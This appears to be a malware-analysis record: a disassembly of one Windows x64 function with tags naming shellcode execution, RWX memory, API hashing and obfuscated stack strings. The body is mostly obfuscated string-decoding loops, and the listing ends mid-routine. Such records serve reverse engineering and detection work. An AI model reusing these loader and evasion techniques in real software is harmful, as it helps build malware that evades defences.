Function at 0x140131d14
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Authenticate hmac
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Enumerate gui resources
Enumerate process modules
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get ntdll base address
Get number of processors
Hash data using fnv
Parse pe header
Read file via mapping
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4228]
mov eax, 0x4300
call fcn.14020f9c0
sub rsp, rax
mov rax, qword [0x1404f42c0]
xor rax, rsp
mov qword [rbp + 0x41f0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x4228]
movabs rdx, 0xff00ff00ff00ff07
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x60], rcx
mov rax, qword [rcx]
mov qword [rbp + 0x50], rax
xor rax, rdx
mov qword [rbp + 0x50], rax
xor eax, eax
mov qword [rcx], rax
mov qword [rbp + 0x11c8], rax
lea r15d, [rax + 1]
mov byte [rbp + 0x11cc], r15b
or dword [rbp + 0x11c8], r15d
lea r8d, [rax + 8]
lea rdx, [rbp + 0x11c8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
or r12, 0xffffffffffffffff
mov dword [rsp + 0x6c], 0xeced0b92
mov dword [rsp + 0x70], 0xf84eee59
mov dword [rsp + 0x74], 0xb3002016
mov dword [rsp + 0x78], 0x2fd4df39
mov dword [rsp + 0x7c], 0xe80fd3a
mov dword [rbp - 0x80], 0xa52bcaf9
mov dword [rbp - 0x7c], 0x820621f3
mov dword [rbp - 0x78], 0x33b00bc5
test rax, rax
je 0x140137f9a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov qword [rbp - 0x20], rcx
movzx eax, word [rcx + 0x14]
add rax, 0x18
add rax, rcx
mov qword [rbp - 0x18], rax
xor eax, eax
mov dword [rsp + 0x68], eax
cmp ax, word [rcx + 6]
jae 0x140137f9a
mov r15b, byte [rsp + 0x50]
mov qword [rbp - 0x10], r15
mov r12b, byte [rsp + 0x50]
mov qword [rbp - 8], r12
mov r14b, byte [rsp + 0x50]
mov qword [rbp - 0x68], r14
mov r13b, byte [rsp + 0x50]
mov qword [rbp - 0x58], r13
mov dil, byte [rsp + 0x50]
mov qword [rbp - 0x50], rdi
mov sil, byte [rsp + 0x50]
mov qword [rbp - 0x48], rsi
mov byte [rbp + 0x2a0], 0xbe
mov byte [rbp + 0x2a1], 0x62
mov byte [rbp + 0x2a2], __WSAFDIsSet
mov byte [rbp + 0x2a3], 0x62
mov byte [rbp + 0x2a4], reloc.WLDAP32.dll_Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a5], xmm0
mov dword [rbp + 0x2b5], eax
mov word [rbp + 0x2b9], ax
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x1b
jae 0x140132b34
movzx r8d, byte [rbp + r9 + 0x2a0]
mov r11d, r8d
cmp rbx, r9
ja 0x140132b2b
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140131f07
movabs rcx, 0x3a7c88d20b7eafe2
add rcx, r9
mov rax, rcx
and rax, r11
imul r15, rax, 0xfffffffffffffffe
add r15, rcx
add r15, r11
sub r15b, 0x2e
jmp 0x1401321c2
je 0x140132a8c
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140132a52
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140132a07
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401329a5
cmp r10, r9
ja 0x140132b22
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x140131f6e
movabs rdx, 0xcc37393af1646d8a
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
jmp 0x140132196
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140132983
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140132962
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14013293f
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401328b3
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14013288f
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140132523
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1401324fb
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401324d8
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401324b5
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x14013248d
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14013246a
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x14013243e
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140132416
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401323f3
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401323cb
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140131fbc
lea rbx, [r10 + 0x10]
lea r10, [rbx + 1]
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x140132af6
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140132aca
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x1401321cb
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x14013219f
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140132173
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401323a5
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x14013237d
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x14013235a
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x14013232a
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140131fbc
mov rbx, rax
lea r10, [rax + 8]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140132307
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1401322df
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401322bc
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x140132298
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140132273
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x14013224d
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x140132229
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140132215
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1401321f2
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x140131fbc
lea rbx, [r10 + 0x40]
lea r10, [rbx + 0x40]
jmp 0x140131fbc
movabs rdx, 0xc19e4a0c3dc97fb6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x140131faf
movabs rdx, 0x4ca5386826cc1ff2
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
mov qword [rbp - 0x10], r15
jmp 0x140131f34
movabs rcx, 0xd7ac26c40fcec02e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x42
mov qword [rbp - 0x10], r15
jmp 0x140131ecf
movabs rdx, 0x61b9c9d78b236c50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x30
jmp 0x1401329c3
movabs rdx, 0xecc0b83374260c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140132714
movabs rcx, 0x77c7a68f5d28acc8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x78
jmp 0x140132691
movabs rdx, 0x2ce94eb462b4d04
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x1c
add r15b, dl
jmp 0x140132a25
movabs rdx, 0x8dd583472f2ded40
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
jmp 0x140132a72
movabs rcx, 0x18dc71a318308d7c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x64
jmp 0x140132461
movabs rcx, 0xa3e35fff01332db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 8
jmp 0x1401328d1
movabs rdx, 0x2eea4e5aea35cdf4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x140132903
movabs rcx, 0xb9f13cb6d3386e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x50
jmp 0x140132aaf
movabs rcx, 0x9582909c99befec6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x6a
mov qword [rbp - 0x10], r15
mov byte [rbp + r9 + 0x2a0], r15b
jmp 0x140132ac2
movabs rdx, 0x20897ef882c19f02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0xe
jmp 0x1401325ce
movabs rdx, 0xab906d546bc43f3e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x140132590
movabs rdx, 0x36975bb054c6df7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x56
add r15b, dl
jmp 0x14013254e
movabs rdx, 0xc94b5761a85a913c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x140132aaf
movabs rcx, 0x545245bd915d3178
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x48
jmp 0x140132903
movabs rdx, 0xdf5934197a5fd1b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401328d1
movabs rdx, 0x6a602275636271f0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x140132a7c
movabs rcx, 0xf56710d14c65122c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x34
jmp 0x140132a75
movabs rdx, 0x806dff2d3567b268
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x140132a25
movabs rcx, 0xb74ed891e6a52a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x7c
jmp 0x140132691
movabs rcx, 0x967bdbe5076cf2e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x20
jmp 0x1401329ee
movabs rdx, 0x2182ca40f06f931c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x1401329c6
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x140132608
movabs rcx, 0x3a7c88d20b7eafe2
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x2e
mov qword [rbp - 0x10], r15
lea rax, [r10 + rbx]
cmp rax, 0x28
je 0x140132864
lea rcx, [r10 + 3]
cmp rbx, rcx
jbe 0x1401326d0
movabs rdx, 0xefac9a0cbd2fe8da
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 5
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
cmp rbx, 0x3e8
jae 0x14013283d
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x140132786
movabs rdx, 0xbbe3d347ae945664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
cmp r10, 0x5a
jb 0x14013234d
movabs rdx, 0x4d9e83b0947a140c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea r15d, [rcx + rcx]
jmp 0x1401329c6
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140132639
movabs rdx, 0x986e7275e2c8db14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x140132aaf
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140132665
movabs rdx, 0x826095be10c39a9c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x44
jmp 0x140132436
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401326a0
movabs rdx, 0x5644dc4e6cb919ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
mov r15d, 1
jmp 0x1401329fb
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140132552
movabs rdx, 0x4036ff969ab3d934
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x6c
jmp 0x1401329c3
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401326fc
movabs rdx, 0x64a5abb0d42d489e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x52
jmp 0x1401329c3
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14013272d
movabs rdx, 0xd99ebd54eb2aa862
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x1401329ee
cmp rbx, rcx
jne 0x140132756
movabs rcx, 0x4e97cef902280826
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0xa
jmp 0x140132691
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140132594
movabs rdx, 0x227c15895e1d8736
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x7a
jmp 0x140132436
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401327b2
movabs rcx, 0x30dce4ebc591b628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x18
jmp 0x140132aaf
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401327de
movabs rcx, 0x8fc819d80a89d574
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x2c
jmp 0x140132461
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14013280c
movabs rdx, 0x79ba3d20388494fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
jmp 0x14013226b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401325d5
movabs rcx, 0xeeb34ec44f81f4c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x40
jmp 0x140132691
movabs rdx, 0xc2979554ab7773d0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, byte [rbp + r9 + 0x2a0]
jmp 0x140132804
movabs rdx, 0x3790a6f8c274d394
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, byte [rbp + r9 + 0x2a0]
sub r15b, 0xc
jmp 0x140132436
movabs rcx, 0xe8f8d7ffc04ccb6e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea r15d, [rcx + r11]
sub r15b, 2
jmp 0x140132aaf
movabs rcx, 0xff06b4b792520be6
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x4a
movabs rdx, 0x720d2fcacdf38376
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x3a
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x2a0], al
inc r10
add rax, r10
sub r9, rax
mov qword [rbp - 0x10], r15
movabs rcx, 0xac89b89cd9723358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0x2a0], r8b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140132ab3
movabs rcx, 0xa01b7fcb4d59ec9a
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x36
jmp 0x140132a25
movabs rcx, 0xb6295c831f5f2d12
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea r15d, [rcx + r11]
sub r15b, 0x7e
jmp 0x1401329ee
movabs rcx, 0x41304adf0861cd4e
add rcx, r9
and r11b, cl
add r11b, r11b
mov r15b, r8b
sub r15b, r11b
sub r15b, 0x22
add r15b, cl
jmp 0x1401329c6
movabs rdx, 0x573e2796da670dc6
add rdx, r9
mov al, r11b
and al, dl
add al, al
mov r15b, r11b
sub r15b, al
sub r15b, 0x6a
add r15b, dl
movabs rdx, 0x881b0c829ff8c3ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2a0], cl
mov qword [rbp - 0x10], r15
mov r15d, 1
add r10, r15
sub r9, r15
mov r15, qword [rbp - 0x10]
jmp 0x140132ac2
movabs rcx, 0xf852f2aa956eee7a
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x56
movabs rdx, 0xfd141e26b6f623b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, r15b
mov byte [rbp + r9 + 0x2a0], cl
jmp 0x140132a75
movabs rdx, 0x8359e1067e718eb6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
mov qword [rbp - 0x10], r15
add rbx, r10
movzx eax, r15b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140132ac2
movabs rdx, 0xaf759a76227c0fa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
mov qword [rbp - 0x10], r15
movzx eax, byte [rbp + r9 + 0x2a0]
add rax, r10
add r9, rax
inc r9
jmp 0x140131eb9
movabs rdx, 0x62b3151ff8d1606a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
jmp 0x140131eb4
movabs rdx, 0xedba037be1d400a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x140131ea4
lea rcx, [rbp + 0x15e2e78]
jmp 0x140132b3b
lea rcx, [rbp + 0x15cde5a]
jmp 0x140132b3b
lea rcx, [rbp + 0x2a0]
mov rax, qword [rbp - 0x18]
sub rcx, rax
mov r15d, 1
movzx r8d, byte [rax]
movzx edx, byte [rax + rcx]
sub r8d, edx
jne 0x140132b5c
add rax, r15
test edx, edx
jne 0x140132b48
xor eax, eax
test r8d, r8d
jne 0x140137f6d
mov byte [rbp + 0xd30], 0x9b
mov byte [rbp + 0xd31], 0x59
mov byte [rbp + 0xd32], 0x80
mov byte [rbp + 0xd33], 0x5b
mov byte [rbp + 0xd34], 0xa0
mov byte [rbp + 0xd35], 0x45
mov byte [rbp + 0xd36], 0xbb
mov byte [rbp + 0xd37], 0x47
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_2118], 0xd3
mov byte [rbp + 0xd39], 0x41
mov byte [rbp + 0xd3a], 0xaf
mov byte [rbp + 0xd3b], 0x43
mov byte [rbp + 0xd3c], 0xde
mov byte [rbp + 0xd3d], Ordinal_79
mov byte [rbp + 0xd3e], 0xdd
mov byte [rbp + 0xd3f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xd40], 0xac
mov byte [rbp + 0xd41], Ordinal_79
mov byte [rbp + 0xd42], 0x86
mov byte [rbp + 0xd43], Ordinal_79
mov byte [rbp + 0xd44], 0x99
mov byte [rbp + 0xd45], 0x75
mov byte [rbp + 0xd46], 0x98
mov byte [rbp + 0xd47], 0x77
mov byte [rbp + 0xd48], __WSAFDIsSet
mov byte [rbp + 0xd49], WSACleanup
mov byte [rbp + 0xd4a], 0xef
mov byte [rbp + 0xd4b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xd4c], 0xe8
mov byte [rbp + 0xd4d], 0x7d
mov byte [rbp + 0xd4e], 0xe2
mov byte [rbp + 0xd4f], 0x7f
mov byte [rbp + 0xd50], 0x9c
mov byte [rbp + 0xd51], 0x79
mov byte [rbp + 0xd52], 0xbb
mov byte [rbp + 0xd53], 0x7b
mov byte [rbp + 0xd54], 0xf4
mov byte [rbp + 0xd55], 0x65
mov byte [rbp + 0xd56], 0xf6
mov byte [rbp + 0xd57], 0x67
mov byte [rbp + 0xd58], 0xac
mov byte [rbp + 0xd59], 0x61
mov byte [rbp + 0xd5a], 0x83
mov byte [rbp + 0xd5b], 0x63
mov byte [rbp + 0xd5c], 0xf0
mov byte [rbp + 0xd5d], WSASetLastError
mov byte [rbp + 0xd5e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xd5f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xd60], Ordinal_143
mov byte [rbp + 0xd61], WSAGetLastError
mov byte [rbp + 0xd62], 0xa7
mov byte [rbp + 0xd63], WSASetLastError
mov byte [rbp + 0xd64], 0x88
mov byte [rbp + 0xd65], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xd66], 0xfe
mov byte [rbp + 0xd67], reloc.WS2_32.dll_socket
mov byte [rbp + 0xd68], 0xfd
mov byte [rbp + 0xd69], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xd6a], 0x80
mov byte [rbp + 0xd6b], reloc.WS2_32.dll_send
mov byte [rbp + 0xd6c], 0xfd
mov byte [rbp + 0xd6d], Ordinal_32
mov byte [rbp + 0xd6e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xd6f], Ordinal_32
mov byte [rbp + 0xd70], 0xfa
mov byte [rbp + 0xd71], Ordinal_27
mov byte [rbp + 0xd72], 0xf3
mov byte [rbp + 0xd73], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xd74], __WSAFDIsSet
mov byte [rbp + 0xd75], 5
mov byte [rbp + 0xd76], 6
mov byte [rbp + 0xd77], 7
xorps xmm0, xmm0
movups xmmword [rbp + 0xd78], xmm0
mov qword [rbp + 0xd88], rax
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x60
jae 0x1401337b3
movzx r8d, byte [rbp + r10 + 0xd30]
mov r11d, r8d
cmp rbx, r10
ja 0x1401337a6
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140132dd0
movabs r12, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r8
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r8
add dl, 0x2c
jmp 0x140132e0a
je 0x14013370d
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401336b4
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14013364c
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14013361f
mov dl, r12b
movabs r12, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x140133797
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x140132e3d
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x64
add cl, r8b
jmp 0x140132e73
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401335d6
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401335b0
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14013358d
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140133569
mov cl, dl
mov r11d, Ordinal_32
mov qword [rbp - 8], rcx
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x1401331b1
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x140133190
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x14013317c
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140133162
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x14013313e
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14013311d
lea rax, [r9 + 9]
cmp rbx, rax
je 0x140133109
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x14013376f
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x140133747
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x140132fa2
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x1401330f2
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x1401330be
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x140132e8a
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x140133099
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x140133076
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x140133055
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14013302d
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x140133008
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x140132fe6
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140132fc3
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x140132e8a
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
sub cl, r11b
jmp 0x140132e79
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x20
add cl, dl
jmp 0x1401335f2
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub cl, 0x78
add cl, r8b
jmp 0x1401335d0
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
jmp 0x14013363c
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
add r12b, dl
jmp 0x14013369d
movabs rdx, 0x538d4a07b60e4950
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x30
jmp 0x14013352a
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401336d0
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
jmp 0x140133729
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
mov byte [rbp + r10 + 0xd30], r12b
jmp 0x14013373f
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401331c3
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
jmp 0x140133085
